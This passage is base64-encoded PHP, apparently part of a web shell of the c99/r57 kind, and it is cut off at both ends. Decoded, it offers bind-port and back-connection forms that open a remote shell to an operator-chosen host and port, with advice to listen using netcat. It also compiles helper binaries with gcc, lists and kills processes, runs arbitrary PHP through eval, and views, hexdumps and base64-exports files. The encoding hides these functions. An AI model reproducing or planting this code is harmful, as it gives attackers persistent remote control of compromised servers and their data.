ldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyBAdW5saW5rKCRzcmNwYXRoKTt9DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVob3N0IiwkYmNbImhvc3QiXSwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmNbInBvcnQiXSwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOw0KICAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOw0KICAgICBlY2hvICJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3QiXSkuIjoiLmh0bWxzcGVjaWFsY2hhcnMoJGJjWyJwb3J0Il0pLiIuLi48YnI+IjsNCiAgICB9DQogICB9DQogIH0NCiAgPz48Yj5CaW5kaW5nIHBvcnQ6PC9iPjxicj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iYmluZCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+UG9ydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJpbmRbcG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBvcnQiXSk7ID8+Ij4mbmJzcDtQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJpbmRbcGFzc10iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBhc3MiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJpbmRbc3JjXSI+PD9waHANCmZvcmVhY2goJGJuZHBvcnRzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmluZFsic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQ0KPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0iYmluZHN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvZm9ybT4NCjxiPkJhY2sgY29ubmVjdGlvbjo8L2I+PGJyPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJiaW5kIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij5IT1NUOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYmNbaG9zdF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJjWyJob3N0Il0pOyA/PiI+Jm5ic3A7UG9ydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJjW3BvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiY1sicG9ydCJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iYmNbc3JjXSI+PD9waHANCmZvcmVhY2goJGJjc3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJjWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlswXS4iPC9vcHRpb24+Ijt9DQo/Pjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSJiY3N1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvZm9ybT4NCkNsaWNrICJDb25uZWN0IiBvbmx5IGFmdGVyIG9wZW4gcG9ydCBmb3IgaXQuIFlvdSBzaG91bGQgdXNlIE5ldENhdCZjb3B5OywgcnVuICI8Yj5uYyAtbCAtbiAtdiAtcCA8P3BocCBlY2hvICRiY19wb3J0OyA/PjwvYj4iITw/cGhwDQogfQ0KfQ0KaWYgKCRhY3QgPT0gInByb2Nlc3NlcyIpDQp7DQogZWNobyAiPGI+UHJvY2Vzc2VzOjwvYj48YnI+IjsNCiBpZiAoISR3aW4pIHskaGFuZGxlciA9ICJwcyAtYXV4IHwgZ3JlcCAnIi5hZGRzbGFzaGVzKCRncmVwKS4iJyI7fQ0KIGVsc2UgeyRoYW5kbGVyID0gInRhc2tsaXN0Ijt9DQogJHJldCA9IG15c2hlbGxleGVjKCRoYW5kbGVyKTsNCiBpZiAoISRyZXQpIHtlY2hvICJDYW4ndCBleGVjdXRlIFwiIi4kaGFuZGxlci4iXCIhIjt9DQogZWxzZQ0KIHsNCiAgaWYgKGVtcHR5KCRwcm9jZXNzZXNfc29ydCkpIHskcHJvY2Vzc2VzX3NvcnQgPSAkc29ydF9kZWZhdWx0O30NCiAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkcHJvY2Vzc2VzX3NvcnQpOw0KICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9DQogICRrID0gJHBhcnNlc29ydFswXTsNCiAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImFcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfZGVzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iO30NCiAgZWxzZSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQ0KICAkcmV0ID0gaHRtbHNwZWNpYWxjaGFycygkcmV0KTsNCiAgaWYgKCEkd2luKQ0KICB7DQogICBpZiAoJHBpZCkNCiAgIHsNCiAgICBpZiAoISRzaWcpIHskc2lnID0gOTt9DQogICAgZWNobyAiU2VuZGluZyBzaWduYWwgIi4kc2lnLiIgdG8gIyIuJHBpZC4iLi4uICI7DQogICAgJHJldCA9IHBvc2l4X2tpbGwoJHBpZCwkc2lnKTsNCiAgICBpZiAoJHJldCkge2VjaG8gIk9LLiI7fQ0KICAgIGVsc2Uge2VjaG8gIkVSUk9SLiI7fQ0KICAgfQ0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIgIiwkcmV0KTt9DQogICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7DQogICB1bnNldCgkc3RhY2tbMF0pOw0KICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspDQogICB7DQogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIuJGhlYWRbJGldLiI8L2I+PC9hPiI7fQ0KICAgfQ0KICAgJHByY3MgPSBhcnJheSgpOw0KICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQ0KICAgew0KICAgIGlmICghZW1wdHkoJGxpbmUpKQ0KICAgICAgICB7DQogICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgJGxpbmUgPSBleHBsb2RlKCIgIiwkbGluZSk7DQogICAgICRsaW5lWzEwXSA9IGpvaW4oIiAiLGFycmF5X3NsaWNlKCRsaW5lLDEwKSk7DQogICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7DQogICAgIGlmICgkbGluZVswXSA9PSBnZXRfY3VycmVudF91c2VyKCkpIHskbGluZVswXSA9ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsaW5lWzBdLiI8L2ZvbnQ+Ijt9DQogICAgICRsaW5lW10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1wcm9jZXNzZXMmZD0iLnVybGVuY29kZSgkZCkuIiZwaWQ9Ii4kbGluZVsxXS4iJnNpZz05XCI+PHU+S0lMTDwvdT48L2E+IjsNCiAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICBlY2hvICI8L3RyPiI7DQogICAgfQ0KICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIgICAgICAgICIsJHJldCk7fQ0KICAgd2hpbGUgKGVyZWcoIiAgICAgICAgICAgICAgICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICAgICAgICAgICAgICAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICAgICAgICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICAgICAgICAiLCIgICAgICAgICIsJHJldCk7fQ0KICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgdW5zZXQoJHN0YWNrWzBdLCRzdGFja1syXSk7DQogICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsNCiAgICRoZWFkID0gZXhwbG9kZSgiICAgICAgICAiLCRzdGFja1swXSk7DQogICAkaGVhZFsxXSA9IGV4cGxvZGUoIiAiLCRoZWFkWzFdKTsNCiAgICRoZWFkWzFdID0gJGhlYWRbMV1bMF07DQogICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssMSk7DQogICB1bnNldCgkaGVhZFsyXSk7DQogICAkaGVhZCA9IGFycmF5X3ZhbHVlcygkaGVhZCk7DQogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQ0KICAgZWxzZSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQ0KICAgaWYgKCRrID4gY291bnQoJGhlYWQpKSB7JGsgPSBjb3VudCgkaGVhZCktMTt9DQogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykNCiAgIHsNCiAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii50cmltKCRoZWFkWyRpXSkuIjwvYj48L2E+Ijt9DQogICB9DQogICAkcHJjcyA9IGFycmF5KCk7DQogICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpDQogICB7DQogICAgaWYgKCFlbXB0eSgkbGluZSkpDQogICAgew0KICAgICBlY2hvICI8dHI+IjsNCiAgICAgJGxpbmUgPSBleHBsb2RlKCIgICAgICAgICIsJGxpbmUpOw0KICAgICAkbGluZVsxXSA9IGludHZhbCgkbGluZVsxXSk7ICRsaW5lWzJdID0gJGxpbmVbM107IHVuc2V0KCRsaW5lWzNdKTsNCiAgICAgJGxpbmVbMl0gPSBpbnR2YWwoc3RyX3JlcGxhY2UoIiAiLCIiLCRsaW5lWzJdKSkqMTAyNDsNCiAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICBlY2hvICI8L3RyPiI7DQogICAgfQ0KICAgfQ0KICB9DQogICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7DQogICR2ID0gJHByb2Nlc3Nlc19zb3J0WzBdOw0KICB1c29ydCgkcHJjcywidGFic29ydCIpOw0KICBpZiAoJHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikgeyRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7fQ0KICAkdGFiID0gYXJyYXkoKTsNCiAgJHRhYltdID0gJGhlYWQ7DQogICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCRwcmNzKTsNCiAgZWNobyAiPFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPVwiI0MwQzBDMFwiPiI7DQogIGZvcmVhY2goJHRhYiBhcyAkaT0+JGspDQogIHsNCiAgIGVjaG8gIjx0cj4iOw0KICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHtpZiAoJHdpbiBhbmQgJGkgPiAwIGFuZCAkaiA9PSAyKSB7JHYgPSB2aWV3X3NpemUoJHYpO30gZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9DQogICBlY2hvICI8L3RyPiI7DQogIH0NCiAgZWNobyAiPC90YWJsZT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJldmFsIikNCnsNCiBpZiAoIWVtcHR5KCRldmFsKSkNCiB7DQogIGVjaG8gIjxiPlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBQSFAtY29kZTwvYj46PGJyPiI7DQogICR0bXAgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogIEBjaGRpcigkZCk7DQogIGlmICgkdG1wKQ0KICB7DQogICBvYl9jbGVhbigpOw0KICAgZXZhbCgkZXZhbCk7DQogICAkcmV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogICBvYl9jbGVhbigpOw0KICAgZWNobyAkdG1wOw0KICAgaWYgKCRldmFsX3R4dCkNCiAgIHsNCiAgICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOw0KICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOw0KICAgfQ0KICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogIH0NCiAgZWxzZQ0KICB7DQogICBpZiAoJGV2YWxfdHh0KQ0KICAgew0KICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIxNVwiIHJlYWRvbmx5PiI7DQogICAgZXZhbCgkZXZhbCk7DQogICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KICAgfQ0KICAgZWxzZSB7ZWNobyAkcmV0O30NCiAgfQ0KICBAY2hkaXIoJG9sZGRpcik7DQogfQ0KIGVsc2Uge2VjaG8gIjxiPkV4ZWN1dGlvbiBQSFAtY29kZTwvYj4iOyBpZiAoZW1wdHkoJGV2YWxfdHh0KSkgeyRldmFsX3R4dCA9IHRydWU7fX0NCiBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRleHRhcmVhIG5hbWU9XCJldmFsXCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkZXZhbCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImV2YWxfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGV2YWxfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOw0KfQ0KaWYgKCRhY3QgPT0gImYiKQ0Kew0KIGlmICgoIWlzX3JlYWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0ICE9ICJlZGl0IikNCiB7DQogIGlmIChmaWxlX2V4aXN0cygkZC4kZikpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjwvY2VudGVyPiI7fQ0KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPkZpbGUgZG9lcyBub3QgZXhpc3RzICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQuJGYpLiIpITwvYj48YnI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iJmM9MVwiPjx1PkNyZWF0ZTwvdT48L2E+PC9jZW50ZXI+Ijt9DQogfQ0KIGVsc2UNCiB7DQogICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsNCiAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAkZXh0ID0gJGV4dFskY107DQogICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAkcmZ0ID0gIiI7DQogIGZvcmVhY2goJGZ0eXBlcyBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJGV4dCwkdikpIHskcmZ0ID0gJGs7IGJyZWFrO319DQogIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30NCiAgaWYgKGVtcHR5KCRmdCkpIHskZnQgPSAkcmZ0O30NCiAgJGFyciA9IGFycmF5KA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGJvcmRlcj1cIjBcIj4iLCJpbmZvIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfaHRtbFwiIGJvcmRlcj1cIjBcIj4iLCJodG1sIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfdHh0XCIgYm9yZGVyPVwiMFwiPiIsInR4dCIpLA0KICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksDQogICBhcnJheSgiU2Vzc2lvbiIsInBocHNlc3MiKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9leGVcIiBib3JkZXI9XCIwXCI+IiwiZXhlIiksDQogICBhcnJheSgiU0RCIiwic2RiIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZ2lmXCIgYm9yZGVyPVwiMFwiPiIsImltZyIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2luaVwiIGJvcmRlcj1cIjBcIj4iLCJpbmkiKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYm9yZGVyPVwiMFwiPiIsImRvd25sb2FkIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfcnRmXCIgYm9yZGVyPVwiMFwiPiIsIm5vdGVwYWQiKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGJvcmRlcj1cIjBcIj4iLCJlZGl0IikNCiAgKTsNCiAgZWNobyAiPGI+Vmlld2luZyBmaWxlOiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJGYuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iKSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2I+PGJyPlNlbGVjdCBhY3Rpb24vZmlsZS10eXBlOjxicj4iOw0KICBmb3JlYWNoKCRhcnIgYXMgJHQpDQogIHsNCiAgIGlmICgkdFsxXSA9PSAkcmZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGZvbnQgY29sb3I9Z3JlZW4+Ii4kdFswXS4iPC9mb250PjwvYT4iO30NCiAgIGVsc2VpZiAoJHRbMV0gPT0gJGZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+PHU+Ii4kdFswXS4iPC91PjwvYj48L2E+Ijt9DQogICBlbHNlIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQ0KICAgZWNobyAiICg8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+KzwvYT4pIHwiOw0KICB9DQogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgaWYgKCRmdCA9PSAiaW5mbyIpDQogIHsNCiAgIGVjaG8gIjxiPkluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPjx0cj48dGQ+PGI+UGF0aDwvYj48L3RkPjx0ZD4gIi4kZC4kZi4iPC90ZD48L3RyPjx0cj48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD4gIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TUQ1PC9iPjwvdGQ+PHRkPiAiLm1kNV9maWxlKCRkLiRmKS4iPC90ZD48L3RyPiI7DQogICBpZiAoISR3aW4pDQogICB7DQogICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICAkdG1wID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkLiRmKSk7DQogICAgaWYgKCR0bXBbIm5hbWUiXSA9PSAiIikge2VjaG8gZmlsZW93bmVyKCRkLiRmKS4iLyI7fQ0KICAgIGVsc2Uge2VjaG8gJHRtcFsibmFtZSJdLiIvIjt9DQogICAgJHRtcCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZC4kZikpOw0KICAgIGlmICgkdG1wWyJuYW1lIl0gPT0gIiIpIHtlY2hvIGZpbGVncm91cCgkZC4kZik7fQ0KICAgIGVsc2Uge2VjaG8gJHRtcFsibmFtZSJdO30NCiAgIH0NCiAgIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1jaG1vZCZmPSIudXJsZW5jb2RlKCRmKS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4iLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogICAkZmkgPSBmb3BlbigkZC4kZiwicmIiKTsNCiAgIGlmICgkZmkpDQogICB7DQogICAgaWYgKCRmdWxsaGV4ZHVtcCkge2VjaG8gIjxiPkZVTEwgSEVYRFVNUDwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLGZpbGVzaXplKCRkLiRmKSk7fQ0KICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklFVzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30NCiAgICAkbiA9IDA7DQogICAgJGEwID0gIjAwMDAwMDAwPGJyPiI7DQogICAgJGExID0gIiI7DQogICAgJGEyID0gIiI7DQogICAgZm9yICgkaT0wOyAkaTxzdHJsZW4oJHN0cik7ICRpKyspDQogICAgew0KICAgICAkYTEgLj0gc3ByaW50ZigiJTAyWCIsb3JkKCRzdHJbJGldKSkuIiAiOw0KICAgICBzd2l0Y2ggKG9yZCgkc3RyWyRpXSkpDQogICAgIHsNCiAgICAgIGNhc2UgMDogICRhMiAuPSAiPGZvbnQ+MDwvZm9udD4iOyBicmVhazsNCiAgICAgIGNhc2UgMzI6DQogICAgICBjYXNlIDEwOg0KICAgICAgY2FzZSAxMzogJGEyIC49ICImbmJzcDsiOyBicmVhazsNCiAgICAgIGRlZmF1bHQ6ICRhMiAuPSBodG1sc3BlY2lhbGNoYXJzKCRzdHJbJGldKTsNCiAgICAgfQ0KICAgICAkbisrOw0KICAgICBpZiAoJG4gPT0gJGhleGR1bXBfcm93cykNCiAgICAgew0KICAgICAgJG4gPSAwOw0KICAgICAgaWYgKCRpKzEgPCBzdHJsZW4oJHN0cikpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkrMSkuIjxicj4iO30NCiAgICAgICRhMSAuPSAiPGJyPiI7DQogICAgICAkYTIgLj0gIjxicj4iOw0KICAgICB9DQogICAgfQ0KICAgIC8vaWYgKCRhMSAhPSAiIikgeyRhMCAuPSBzcHJpbnRmKCIlMDhYIiwkaSkuIjxicj4iO30NCiAgICBlY2hvICI8dGFibGUgYm9yZGVyPTAgYmdjb2xvcj0jNjY2NjY2IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9ND48dHI+PHRkIGJnY29sb3I9IzY2NjY2Nj4iLiRhMC4iPC90ZD48dGQgYmdjb2xvcj0wMDAwMDA+Ii4kYTEuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGEyLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgIH0NCiAgICRlbmNvZGVkID0gIiI7DQogICBpZiAoJGJhc2U2NCA9PSAxKQ0KICAgew0KICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGU8L2I+PGJyPiI7DQogICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7DQogICB9DQogI